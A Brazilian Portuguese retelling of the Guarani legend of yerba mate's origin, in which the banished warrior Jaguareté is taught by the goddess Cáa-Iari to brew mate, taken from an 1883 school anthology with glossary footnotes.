Lenda da origem da erva-mate – Cáa-Iari, a deusa dos ervais

Cáa-Iari

(A senhora deusa dos ervais)

Lenda do mate

Na grande taba às margens do mar, a tribo festejava uma nova vitória. O entusiasmo chegara, ao auge. Reunidos em círculo, ao redor das fogueiras onde moqueavam *) as carnes dos prisioneiros, os guerreiros cantavam suas proezas na grande batalha, em que os ferozes inimigos tinham sido completamente destro­cados.

O generoso e espumante cauim x) circaiava, de mão em mão: em largas cabaças.

De-repente, entre dois guerreiros famosos, o jovem Piraúna,

o maior nadador dos mares, igual aos velozes peixes, e o valenlte Jaguareté, temível como a fera da qual tinha o nome, surge acalorada disputa.

O renome de valentes e invencíveis acendera entre êles im placável rivalidade. Na memorável batalha, ambos tinham pra­ticado prodígios de valor; e cada qual pretendia ter abatido mais inimigos do que o outro.

No auge do furor, Jaguareté, cego de ódio, e desvairado pe­las libações, pega o ta®ape [1]) e, com traiçoeiro golpe, esmigalha o crânio do rival.

O assassino é a custo dominado pelos outros guerreiros, o atado ao poste de torturas. O seu gesto [2]) homicida tinha de ser redimido, pelo preço do sangue, que dava aos parentes da vítima o direito de tirar a vida ao seu matador.

No meio da algazarra infernal, troam os borés[3]), e ouve-se a voz do velho Curuassu, pai de Piraúna, pedindo silêncio.

E assim falou Curuassu, que outrora fôra famoso guerreiro, e que era, então, não menos famoso nos conselhos, por sua sabe­doria.

— Curuassu não quer o sangue de Jaguareté. Não foi êle quem derramou o sangue de meu filho; foi Anhangá, o diabo, que escureceu o seu espírito com o vinho embriagador, servindo-se de seu braço para tirar a vida a Piraúna. Que Jaguareté viva, mas que deixe a tribo, e vá viver só nos sertões.

Desatado do poste de torturas, o banido recebeu suas armas, e cingiu os seus ombros como o uru [4]) de palha, contendo sua rê- de e alguns utensílios.

A um gesto do chefe, dois guerreiros acompanharam Jagua­reté, graves e silenciosos. Depois que saíram da taba, passadas as últimas roças de milho e de mandioca, os guerreiros voltaram-se e ficaram imóveis. Sem olhar para trás uma só vez sequer, o matador de Piraúna continuou a andar, desaparecendo na flores­ta próxima.

Passaram-se anos; do proscrito, ninguém mais teve notícias.. .

A tribo, outrora invencível, havia, sido desbaratada em mui tos combates e fôra impelida pouco a pouco, das margens do gran­de mar, as florestas e as campinas do interior.

Um dia, os jovens caçadores, perseguindo a prêsa, descobri ram, surpresos, uma cabana que se erguia solitária, no meio de ums clareira, circundada de belas árvores.

Aproximaram-se; e o espanto dêles foi maior ainda, quando viram, suspenso à porta da cabana, o arco ornado de penas de tucano, emblema de sua própria tribo!

A porta da oca, surgiu um homem, cujos cabelos brancos indicavam a avançada idade, em contraste com o porte ereto e varonil. Vendo os recém-chegados, o seu semblante demonstrou uma profunda comoção, pois reconhecera logo, nas armas dêles, o mesmo distintivo, que, em recordação de sua antiga tribo, êle trazia. sempre, ornando o seu arco!

Depois de ter cumprido os deveres da hospitalidade, repartindo com os estrangeiros suas provisões, e mitingando-lhes a sêde com uma bebida que êles desconheciam, o anfitrião1) contou-lhes a sua história.

Era Jaguareté, o banido, de quem êles tinham ouvido falar por seus pais.

Expulso da taba de sua nação, Jaguareté se internara na flo- resta virgem, inextricável e sem fim. Depois de ter caminhado durante muitos sóis2), exausto e faminto, fôra cair desfalecido em um lugar onde cresciam árvores desconhecidas.

Em sonhos lhe aparecera, então, a formosa deusa Cáa-lari, a senhora dos ervais, que lhe ensinara a preparar com as folhas aquelas árvores, uma bebida, a mesma que lhes servira. Graças às propriedades maravilhosas daquela planta, que o revigorara e llhe dera novas energias, Jaguareté escapara da morte, e tinha se conservado robusto e são, durante as luas sem conta em que vive-

ra afastado de seus semelhantes.

O uso do Cáa, nome que os guaranis davam à erva-mate tor- ‘ nou-se um dos hábitos das tribos da região, onde ela era encon­trada em extensas matas, ou ervais.

A. Ribeiro de Almeida F.?

Fonte: Seleta em Prosa e Verso dos melhores autores brasileiros e portugueses por Alfredo Clemente Pinto. (1883) 53ª edição. Livraria Selbach.

As formosuras mortais no ‘primeiro dia agradam, no segundo enfastiam: são livros que uma vez lidos não têm mais que ler.

P. Antônio Vieira.

1) anfitrião — o que dá de comer, o que banqueteia.

2) sóis — dias.


[1] tacape — espécie de maça usada pelos índios.

[2] gesto — esta palavra significa propriamente um movimento do corpo, principalmente dos braços, da cabeça com que exprimimos um sen­timento, etc. Os escritores modernos dão-lhe também o sentido de ação nobre. feito, proeza, rasgo.

[3] borés — trombeta feita de bambu, usada pelos índios.

[4] uru — pequeno cesto.

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